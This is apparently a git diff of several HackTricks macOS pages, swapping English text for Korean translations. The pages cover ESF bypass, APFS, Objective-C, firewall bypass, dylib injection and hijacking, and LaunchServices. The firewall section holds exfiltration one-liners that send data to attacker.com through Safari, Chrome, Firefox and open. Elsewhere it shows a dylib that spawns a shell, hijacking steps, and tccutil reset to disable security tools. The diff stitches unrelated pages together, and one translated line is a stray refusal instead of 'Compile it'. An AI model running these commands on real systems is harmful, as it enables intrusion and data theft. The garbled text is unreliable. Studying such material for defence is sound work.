또 다른 시스템 데몬인 **`sysextd`**는 **시스템 확장을 검증**하고 이를 적절한 시스템 위치로 이동합니다. 그런 다음 관련 데몬에 확장을 로드하도록 요청합니다. **`SystemExtensions.framework`**는 시스템 확장을 활성화하고 비활성화하는 책임이 있습니다.
## Bypassing ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
ESF는 레드 팀원을 감지하려고 하는 보안 도구에서 사용되므로, 이를 피할 수 있는 방법에 대한 정보는 흥미롭습니다.
### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
문제는 보안 애플리케이션이 **전체 디스크 접근 권한**을 가져야 한다는 것입니다. 따라서 공격자가 이를 제거할 수 있다면 소프트웨어가 실행되는 것을 방지할 수 있습니다:
```bash
tccutil reset All
```
더 많은 정보는 이 우회 및 관련된 내용에 대해 [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) 강의를 확인하세요.
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
결국, 이는 **`tccd`**가 관리하는 보안 앱에 새로운 권한 **`kTCCServiceEndpointSecurityClient`**를 부여하여 수정되었으며, 이로 인해 `tccutil`이 권한을 지우지 않아 실행을 방해하지 않게 되었습니다.
## References

View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
## Apple Propietary File System (APFS)
## Apple 독점 파일 시스템 (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
**Apple 파일 시스템 (APFS)**는 계층적 파일 시스템 플러스 (HFS+)를 대체하기 위해 설계된 현대적인 파일 시스템입니다. 그 개발은 **향상된 성능, 보안 및 효율성**의 필요성에 의해 추진되었습니다.
Some notable features of APFS include:
APFS의 몇 가지 주목할 만한 기능은 다음과 같습니다:
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
1. **공간 공유**: APFS는 여러 볼륨이 **단일 물리적 장치에서 동일한 기본 무료 저장소를 공유**할 수 있도록 합니다. 이를 통해 볼륨이 수동 크기 조정이나 재분할 없이 동적으로 성장하고 축소될 수 있어 공간 활용이 더 효율적입니다.
1. 이는 파일 디스크의 전통적인 파티션과 비교할 때, **APFS에서 서로 다른 파티션(볼륨)이 모든 디스크 공간을 공유**한다는 것을 의미하며, 일반적인 파티션은 보통 고정 크기를 가집니다.
2. **스냅샷**: APFS는 **읽기 전용**인 파일 시스템의 시점 인스턴스인 **스냅샷 생성**을 지원합니다. 스냅샷은 추가 저장소를 최소한으로 소모하면서 효율적인 백업과 쉬운 시스템 롤백을 가능하게 합니다.
3. **클론**: APFS는 **원본과 동일한 저장소를 공유하는 파일 또는 디렉토리 클론을 생성**할 수 있으며, 원본 파일이나 클론이 수정될 때까지 이 기능이 유지됩니다. 이 기능은 저장소 공간을 중복하지 않고 파일이나 디렉토리의 복사본을 효율적으로 생성하는 방법을 제공합니다.
4. **암호화**: APFS는 **전체 디스크 암호화**와 파일별 및 디렉토리별 암호화를 기본적으로 지원하여 다양한 사용 사례에서 데이터 보안을 강화합니다.
5. **충돌 보호**: APFS는 **파일 시스템 일관성을 보장하는 복사-쓰기 메타데이터 방식을 사용**하여 갑작스러운 전원 손실이나 시스템 충돌의 경우에도 데이터 손상 위험을 줄입니다.
전반적으로 APFS는 Apple 장치에 대해 더 현대적이고 유연하며 효율적인 파일 시스템을 제공하며, 향상된 성능, 신뢰성 및 보안에 중점을 두고 있습니다.
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
`Data` 볼륨은 **`/System/Volumes/Data`**에 마운트됩니다 (이것은 `diskutil apfs list`로 확인할 수 있습니다).
firmlinks 목록은 **`/usr/share/firmlinks`** 파일에서 찾을 수 있습니다.
```bash
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,21 @@
## Objective-C
> [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
> Objective-C로 작성된 프로그램은 [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 **컴파일**될 때 **클래스 선언**을 **유지**합니다. 이러한 클래스 선언에는 다음의 이름과 유형이 **포함**됩니다:
- The class
- The class methods
- The class instance variables
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
- 클래스
- 클래스 메서드
- 클래스 인스턴스 변수
이 정보를 [**class-dump**](https://github.com/nygard/class-dump)를 사용하여 얻을 수 있습니다:
```bash
class-dump Kindle.app
```
이 이름들은 이진 파일의 리버싱을 더 어렵게 만들기 위해 난독화될 수 있습니다.
Note that this names could be obfuscated to make the reversing of the binary more difficult.
## Classes, Methods & Objects
### Interface, Properties & Methods
## 클래스, 메서드 및 객체
### 인터페이스, 속성 및 메서드
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end
```
### **Class**
### **클래스**
```objectivec
@implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **객체 및 메서드 호출**
### **Object & Call Method**
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
클래스의 인스턴스를 생성하기 위해 **`alloc`** 메서드가 호출되어 각 **속성**에 대한 **메모리**를 **할당**하고 해당 할당을 **제로**로 설정합니다. 그런 다음 **`init`**이 호출되어 **속성**을 **필요한 값**으로 **초기화**합니다.
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **클래스 메서드**
### **Class Methods**
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
클래스 메서드는 인스턴스 메서드에 사용되는 하이픈 (-)이 아닌 **플러스 기호** (+)로 정의됩니다. **NSString** 클래스 메서드 **`stringWithString`**와 같이:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
속성을 **설정**하고 **가져오기** 위해, **점 표기법**을 사용하거나 **메서드를 호출하는 것처럼** 할 수 있습니다:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **인스턴스 변수**
### **Instance Variables**
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
setter 및 getter 메서드 대신 인스턴스 변수를 사용할 수 있습니다. 이 변수들은 속성과 동일한 이름을 가지지만 "\_"로 시작합니다:
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### 프로토콜
### Protocols
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
프로토콜은 메서드 선언의 집합입니다(속성 없이). 프로토콜을 구현하는 클래스는 선언된 메서드를 구현합니다.
메서드는 두 가지 유형이 있습니다: **필수****선택적**. **기본적으로** 메서드는 **필수**입니다(하지만 **`@required`** 태그로도 표시할 수 있습니다). 메서드가 선택적임을 나타내려면 **`@optional`**을 사용하십시오.
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional
@end
```
### All together
### 모두 함께
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### 기본 클래스
### Basic Classes
#### String
#### 문자열
```objectivec
// NSString
NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
기본 클래스는 **불변**하므로 기존 문자열에 문자열을 추가하려면 **새 NSString을 생성해야 합니다**.
```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
```
Or you could also use a **mutable** string class:
또는 **mutable** 문자열 클래스를 사용할 수도 있습니다:
```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### Number
#### 번호
```objectivec
// character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### Array, Sets & Dictionary
#### 배열, 집합 및 사전
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### 블록
### Blocks
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
블록은 **객체처럼 동작하는 함수**로, 함수에 전달되거나 **배열**이나 **사전**에 **저장**될 수 있습니다. 또한, 값이 주어지면 **값을 나타낼 수** 있어 람다와 유사합니다.
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
It's also possible to **define a block type to be used as a parameter** in functions:
함수에서 **매개변수로 사용될 블록 유형을 정의하는** 것도 가능합니다:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Files
### 파일
```objectivec
// Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
파일을 **`NSString`** 객체 대신 **`NSURL`** 객체를 사용하여 관리하는 것도 가능합니다. 메서드 이름은 비슷하지만 **`Path`** 대신 **`URL`**을 사용합니다.
```objectivec
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,85 +1,75 @@
# macOS Bypassing Firewalls
# macOS 방화벽 우회
{{#include ../../banners/hacktricks-training.md}}
## Found techniques
## 발견된 기술
The following techniques were found working in some macOS firewall apps.
다음 기술들은 일부 macOS 방화벽 앱에서 작동하는 것으로 확인되었습니다.
### Abusing whitelist names
### 화이트리스트 이름 악용
- For example calling the malware with names of well known macOS processes like **`launchd`**
- 예를 들어, **`launchd`**와 같은 잘 알려진 macOS 프로세스의 이름으로 악성 코드를 호출하기
### Synthetic Click
### 합성 클릭
- If the firewall ask for permission to the user make the malware **click on allow**
- 방화벽이 사용자에게 권한을 요청할 경우, 악성 코드가 **허용 클릭**을 하도록 만들기
### **Use Apple signed binaries**
### **Apple 서명 이진 파일 사용**
- Like **`curl`**, but also others like **`whois`**
- **`curl`**과 같은 것들, 하지만 **`whois`**와 같은 다른 것들도 포함
### Well known apple domains
### 잘 알려진 애플 도메인
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
방화벽이 **`apple.com`** 또는 **`icloud.com`**과 같은 잘 알려진 애플 도메인에 대한 연결을 허용할 수 있습니다. 그리고 iCloud는 C2로 사용될 수 있습니다.
### Generic Bypass
### 일반적인 우회
Some ideas to try to bypass firewalls
방화벽을 우회하기 위해 시도할 수 있는 몇 가지 아이디어
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
### 허용된 트래픽 확인
허용된 트래픽을 아는 것은 잠재적으로 화이트리스트에 있는 도메인이나 어떤 애플리케이션이 그것에 접근할 수 있는지를 식별하는 데 도움이 됩니다.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### DNS 악용
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
DNS 해석은 **`mdnsreponder`** 서명된 애플리케이션을 통해 이루어지며, 이는 아마도 DNS 서버에 연락할 수 있도록 허용될 것입니다.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps
### 브라우저 앱을 통한 방법
- **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
- Google Chrome
- 구글 크롬
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Firefox
- 파이어폭스
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
- Safari
- 사파리
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### 프로세스 주입을 통한 방법
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
서버에 연결할 수 있는 프로세스에 **코드를 주입**할 수 있다면 방화벽 보호를 우회할 수 있습니다:
{{#ref}}
macos-proces-abuse/
{{#endref}}
## References
## 참고자료
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

View File

@ -4,16 +4,16 @@
## Firewalls
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 각 프로세스가 생성하는 모든 연결을 모니터링합니다. 모드에 따라 (조용히 연결 허용, 조용히 연결 거부 및 경고) 새로운 연결이 설정될 때마다 **경고를 표시**합니다. 이 모든 정보를 볼 수 있는 매우 멋진 GUI도 있습니다.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See 방화벽. 의심스러운 연결에 대해 경고하는 기본 방화벽입니다 (GUI가 있지만 Little Snitch의 것만큼 화려하지는 않습니다).
## Persistence detection
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **악성코드가 지속될 수 있는** 여러 위치를 검색하는 Objective-See 애플리케이션입니다 (일회성 도구로, 모니터링 서비스가 아닙니다).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnock처럼 지속성을 생성하는 프로세스를 모니터링합니다.
## Keyloggers detection
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20;
- [**ReiKey**](https://objective-see.org/products/reikey.html): 키보드 "이벤트 탭"을 설치하는 **키로거**를 찾기 위한 Objective-See 애플리케이션입니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example
**Library to inject** to execute a shell:
## DYLD_INSERT_LIBRARIES 기본 예제
**주입할 라이브러리** 쉘을 실행하기 위해:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
공격할 바이너리:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
printf("Hello, World!\n");
return 0;
}
```
Injection:
주입:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
타겟 취약 바이너리는 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다.
{{#tabs}}
{{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}}
{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}
{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 있으며 **다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
하지만 첫 번째는 존재하지 않습니다:
```bash
pwd
/Applications/VulnDyld.app
@ -101,51 +90,42 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
그래서, 그것을 하이재킹하는 것이 가능합니다! **임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하는** 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요:
```objectivec:lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Compile it:
죄송하지만, 요청하신 내용을 처리할 수 없습니다.
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리를 내보내기 위한 절대 경로로 변경합시다:
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Finally just copy it to the **hijacked location**:
마지막으로 **탈취된 위치**에 복사합니다:
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
And **execute** the binary and check the **library was loaded**:
이진 파일을 **실행**하고 **라이브러리가 로드되었는지** 확인합니다:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
</code></pre>
> [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
> 이 취약점을 악용하여 텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다.
## Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
## 더 큰 규모
예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 파악할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,72 +1,64 @@
# macOS File Extension & URL scheme app handlers
# macOS 파일 확장자 및 URL 스킴 앱 핸들러
{{#include ../../banners/hacktricks-training.md}}
## LaunchServices Database
## LaunchServices 데이터베이스
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
It's possible to dump this datase with:
이것은 macOS에 설치된 모든 애플리케이션의 데이터베이스로, 지원하는 URL 스킴 및 MIME 타입과 같은 각 설치된 애플리케이션에 대한 정보를 얻기 위해 쿼리할 수 있습니다.
이 데이터베이스를 덤프하는 것은 가능합니다:
```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
```
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
**`/usr/libexec/lsd`**는 데이터베이스의 두뇌입니다. **여러 XPC 서비스**를 제공합니다. 예를 들어 `.lsd.installation`, `.lsd.open`, `.lsd.openurl` 등이 있습니다. 그러나 노출된 XPC 기능을 사용하기 위해서는 애플리케이션에 **일부 권한**이 필요합니다. 예를 들어 mime 유형이나 URL 스킴에 대한 기본 앱을 변경하기 위한 `.launchservices.changedefaulthandler` 또는 `.launchservices.changeurlschemehandler`와 같은 권한이 필요합니다.
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/System/Library/CoreServices/launchservicesd`**는 서비스 `com.apple.coreservices.launchservicesd`를 주장하며 실행 중인 애플리케이션에 대한 정보를 얻기 위해 쿼리할 수 있습니다. 시스템 도구 /**`usr/bin/lsappinfo`** 또는 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)로 쿼리할 수 있습니다.
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
## 파일 확장자 및 URL 스킴 앱 핸들러
다음 줄은 확장자에 따라 파일을 열 수 있는 애플리케이션을 찾는 데 유용할 수 있습니다:
```bash
